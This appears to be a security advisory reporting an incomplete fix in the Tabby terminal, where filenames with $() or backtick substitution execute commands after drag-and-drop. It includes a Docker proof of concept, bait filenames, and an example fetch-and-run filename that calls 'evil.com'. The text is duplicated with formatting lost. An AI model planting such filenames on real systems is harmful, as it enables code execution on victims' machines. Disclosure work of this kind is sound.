Summary
Tabby's path-drop decorator inserts the path of any file dragged onto a terminal tab directly into the active session's stdin. The recent fix for GHSA-m937-jm93-pfp6 ("Dragging and Dropping a File into Tabby Can Lead to Code Execution", May 7 2026) only strips C0 control characters (\x00–\x1F, \x7F) and double-quotes paths that contain a space. It does not neutralise shell metacharacters, in particular $( … ) command substitution and backtick (`) substitution — both of which are still expanded inside POSIX double-quoted strings and inside PowerShell strings.
As a result, a file whose name contains $(…) or `…` causes the embedded command to execute under the user's shell as soon as the victim presses Enter, even though the dropped path appears, syntactically, to be just a filename. The patch in commit e70fafdf ("remove control characters from dropped paths") closes the auto-execute via embedded \n/\r but leaves the underlying injection class unaddressed.
This is a patch-bypass / incomplete remediation of GHSA-m937-jm93-pfp6.
Details
Vulnerable code — tabby-electron/src/pathDrop.ts (HEAD 7e94e67):
// tabby-electron/src/pathDrop.ts:22-29
private injectPath (terminal: BaseTerminalTabComponent<any>, path: string) {
path = path.replace(/[\x00-\x1F\x7F]/g, '') // <-- only fix from GHSA-m937-jm93-pfp6
if (path.includes(' ')) {
path = `"${path}"`
}
path = path.replaceAll('\\', '\\\\')
terminal.sendInput(path + ' ')
}
The function:
- Strips control characters. Prevents
\n/\r auto-submit (the original GHSA-m937-jm93-pfp6 fix).
- Wraps in double quotes if the path contains a space. Does not escape
", $, `, \.
- Doubles backslashes. Fine for Windows separators in POSIX shells; irrelevant to the bug below.
- Calls
terminal.sendInput(path + ' '), which is BaseTerminalTabComponent.sendInput → session.feedFromTerminal (tabby-terminal/src/api/baseTerminalTab.component.ts:494-502). The bytes are written verbatim into the running shell's PTY input — there is no escaping layer below this function.
POSIX shells (bash, zsh, sh, dash) and fish all expand $( … ) and backtick substitutions inside double-quoted strings:
Section 2.6.3 of POSIX.1-2017 (Shell Command Language): "Command substitution shall be performed when the word includes one of the following: $(...) or back-quotes." The expansion is performed inside double quotes.
Windows PowerShell behaves the same way for $( … ) (subexpression operator).
Therefore, when Tabby drops a filename like
/Users/victim/Downloads/report$(curl evil.com/x|sh).pdf
the bytes written to the shell are exactly that string, with no quoting (because there is no space) or wrapped in double quotes (if a space is present). When the user submits the line — typically by pressing Enter to use the path as an argument, e.g. cat <drop> — the shell expands $( … ) and runs the attacker-controlled command before invoking the outer command.
Trigger paths that produce the malicious filename without the victim's awareness:
- A downloaded file (Browser →
~/Downloads) saved with an attacker-controlled Content-Disposition: filename value.
- An archive extracted to disk that contains a malicious filename inside.
- A file copied from a USB / network share / SMB / WebDAV mount.
- A file created by another process the attacker controls.
webUtils.getPathForFile(file) (line 15) returns the absolute filesystem path of the dragged file — Tabby has no list of "safe" sources; any drop on the terminal tab triggers injectPath.
Affected component / scope
- File:
tabby-electron/src/pathDrop.ts, function injectPath
- Decorator:
PathDropDecorator (registered for every BaseTerminalTabComponent in the electron build)
- Affects all session types whose backend evaluates POSIX or PowerShell command substitution: local
bash/zsh/sh/fish, SSH/SFTP sessions to a POSIX host, WSL, serial/telnet sessions terminating at such a shell.
- Not exploitable in
cmd.exe (no $() / backtick semantics).
PoC
A self-contained Docker reproduction is provided. It re-implements injectPath byte-for-byte from tabby-electron/src/pathDrop.ts at HEAD and runs each output through a real bash to demonstrate that the substitution executes. No part of Tabby is mocked.
Dockerfile:
FROM node:20-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends bash zsh ca-certificates && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
COPY injectPath.js /poc/injectPath.js
COPY run-poc.sh /poc/run-poc.sh
RUN chmod +x /poc/run-poc.sh
CMD ["/poc/run-poc.sh"]
injectPath.js (verbatim transcription of the patched code):
function injectPath(path) {
path = path.replace(/[\x00-\x1F\x7F]/g, '')
if (path.includes(' ')) {
path = `"${path}"`
}
path = path.replaceAll('\\', '\\\\')
return path + ' '
}
process.stdout.write(injectPath(process.argv[2]))
run-poc.sh:
#!/usr/bin/env bash
set -u
OUT=/tmp/tabby_drop_rce_log
rm -f "$OUT"
run_case() {
local label="$1" raw="$2"
local injected; injected=$(node /poc/injectPath.js "$raw")
echo "===== $label ====="
echo " Raw filename : $raw"
echo " Tabby sends : ${injected}"
bash -c "cat ${injected}" >/dev/null 2>&1 || true
if [[ -s "$OUT" ]]; then
echo " RESULT : RCE confirmed:"
sed 's/^/ /' "$OUT"; rm -f "$OUT"
else
echo " RESULT : (no side effect)"
fi
echo
}
F1='/home/victim/Downloads/report$(id > /tmp/tabby_drop_rce_log).pdf'
F2='/home/victim/Downloads/holiday photo $(id > /tmp/tabby_drop_rce_log).jpg'
F3='/home/victim/Downloads/notes`id > /tmp/tabby_drop_rce_log`.md'
run_case "1) no space, \$() substitution" "$F1"
run_case "2) with space, \$() inside double quotes" "$F2"
run_case "3) backtick substitution" "$F3"
Build and run:
$ docker build -t tabby-pathdrop-poc .
$ docker run --rm tabby-pathdrop-poc
The marker file /tmp/tabby_drop_rce_log is populated in every case → id was executed by the receiving shell. None of the three filenames contain control characters, so the e70fafdf patch (replace(/[\x00-\x1F\x7F]/g, '')) has nothing to remove.
End-to-end reproduction in a real Tabby install (no Docker):
- Build/run Tabby from current
master on macOS or Linux.
- Open a local terminal tab (default profile).
- Create the bait file:
touch '/tmp/report$(touch /tmp/PWNED;id > /tmp/PWNED).pdf'
- At the terminal prompt, type
cat (note the trailing space) and drag /tmp/report$(...).pdf from a file manager onto the Tabby terminal tab.
- Tabby inserts the path. Press Enter.
/tmp/PWNED exists and contains the output of id — code executed under the user's shell.
Impact
- CWE-78 Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection") — Tabby builds a shell input string from an untrusted filename without escaping shell metacharacters.
- Arbitrary code execution as the user running Tabby, on any session whose far end is a POSIX shell (
bash/zsh/sh/fish/dash) or PowerShell. This includes local terminals, SSH sessions, WSL, telnet/serial sessions terminating at such a shell.
- User interaction is limited to the drag itself plus a single Enter press in the natural workflow of "drag a file to use its path as an argument" — the very feature the dropper implements. Users have no visual cue that the path contains a substitution; long paths in particular hide the payload.
- Patch bypass. GHSA-m937-jm93-pfp6 was disclosed and patched on May 7 2026 (severity High). The fix removed control characters but did not address shell metacharacter expansion. Users who upgraded believing the issue was fully closed remain vulnerable to the same outcome (RCE-via-dropped-file) through trivially different filenames.
Suggested fix
Two acceptable approaches:
- Single-quote the path and escape any embedded single-quote, the canonical way to pass a literal string to a POSIX shell:
path = "'" + path.replace(/'/g, `'\\''`) + "'"
This neutralises $, `, ", \, glob characters, history expansion, etc. For PowerShell sessions, use '…' (single-quoted) and double any embedded '.
- Use bracketed-paste mode (
\x1b[200~ … \x1b[201~) and inject the path inside it. Modern shells with bracketed paste enabled will not perform expansion on bracketed-paste input until the user edits and submits it — and the metacharacters remain visible. (Tabby already wraps user pastes in bracketed-paste markers in BaseTerminalTabComponent.paste, line 579-581.) This is defence in depth; combine with (1).
Whichever path is chosen, ensure the same fix is applied for SSH/PowerShell sessions (the current code is shell-agnostic and assumes POSIX semantics).
Summary
Tabby's path-drop decorator inserts the path of any file dragged onto a terminal tab directly into the active session's stdin. The recent fix for GHSA-m937-jm93-pfp6 ("Dragging and Dropping a File into Tabby Can Lead to Code Execution", May 7 2026) only strips C0 control characters (
\x00–\x1F,\x7F) and double-quotes paths that contain a space. It does not neutralise shell metacharacters, in particular$( … )command substitution and backtick (`) substitution — both of which are still expanded inside POSIX double-quoted strings and inside PowerShell strings.As a result, a file whose name contains
$(…)or`…`causes the embedded command to execute under the user's shell as soon as the victim presses Enter, even though the dropped path appears, syntactically, to be just a filename. The patch in commite70fafdf("remove control characters from dropped paths") closes the auto-execute via embedded\n/\rbut leaves the underlying injection class unaddressed.This is a patch-bypass / incomplete remediation of GHSA-m937-jm93-pfp6.
Details
Vulnerable code —
tabby-electron/src/pathDrop.ts(HEAD7e94e67):The function:
\n/\rauto-submit (the original GHSA-m937-jm93-pfp6 fix).",$,`,\.terminal.sendInput(path + ' '), which isBaseTerminalTabComponent.sendInput→session.feedFromTerminal(tabby-terminal/src/api/baseTerminalTab.component.ts:494-502). The bytes are written verbatim into the running shell's PTY input — there is no escaping layer below this function.POSIX shells (
bash,zsh,sh,dash) andfishall expand$( … )and backtick substitutions inside double-quoted strings:Windows PowerShell behaves the same way for
$( … )(subexpression operator).Therefore, when Tabby drops a filename like
the bytes written to the shell are exactly that string, with no quoting (because there is no space) or wrapped in double quotes (if a space is present). When the user submits the line — typically by pressing Enter to use the path as an argument, e.g.
cat <drop>— the shell expands$( … )and runs the attacker-controlled command before invoking the outer command.Trigger paths that produce the malicious filename without the victim's awareness:
~/Downloads) saved with an attacker-controlledContent-Disposition: filenamevalue.webUtils.getPathForFile(file)(line 15) returns the absolute filesystem path of the dragged file — Tabby has no list of "safe" sources; any drop on the terminal tab triggersinjectPath.Affected component / scope
tabby-electron/src/pathDrop.ts, functioninjectPathPathDropDecorator(registered for everyBaseTerminalTabComponentin the electron build)bash/zsh/sh/fish, SSH/SFTP sessions to a POSIX host, WSL, serial/telnet sessions terminating at such a shell.cmd.exe(no$()/ backtick semantics).PoC
A self-contained Docker reproduction is provided. It re-implements
injectPathbyte-for-byte fromtabby-electron/src/pathDrop.tsat HEAD and runs each output through a realbashto demonstrate that the substitution executes. No part of Tabby is mocked.Dockerfile:injectPath.js(verbatim transcription of the patched code):run-poc.sh:Build and run:
The marker file
/tmp/tabby_drop_rce_logis populated in every case →idwas executed by the receiving shell. None of the three filenames contain control characters, so thee70fafdfpatch (replace(/[\x00-\x1F\x7F]/g, '')) has nothing to remove.End-to-end reproduction in a real Tabby install (no Docker):
masteron macOS or Linux.touch '/tmp/report$(touch /tmp/PWNED;id > /tmp/PWNED).pdf'cat(note the trailing space) and drag/tmp/report$(...).pdffrom a file manager onto the Tabby terminal tab./tmp/PWNEDexists and contains the output ofid— code executed under the user's shell.Impact
bash/zsh/sh/fish/dash) or PowerShell. This includes local terminals, SSH sessions, WSL, telnet/serial sessions terminating at such a shell.Suggested fix
Two acceptable approaches:
$,`,",\, glob characters, history expansion, etc. For PowerShell sessions, use'…'(single-quoted) and double any embedded'.\x1b[200~ … \x1b[201~) and inject the path inside it. Modern shells with bracketed paste enabled will not perform expansion on bracketed-paste input until the user edits and submits it — and the metacharacters remain visible. (Tabby already wraps user pastes in bracketed-paste markers inBaseTerminalTabComponent.paste, line 579-581.) This is defence in depth; combine with (1).Whichever path is chosen, ensure the same fix is applied for SSH/PowerShell sessions (the current code is shell-agnostic and assumes POSIX semantics).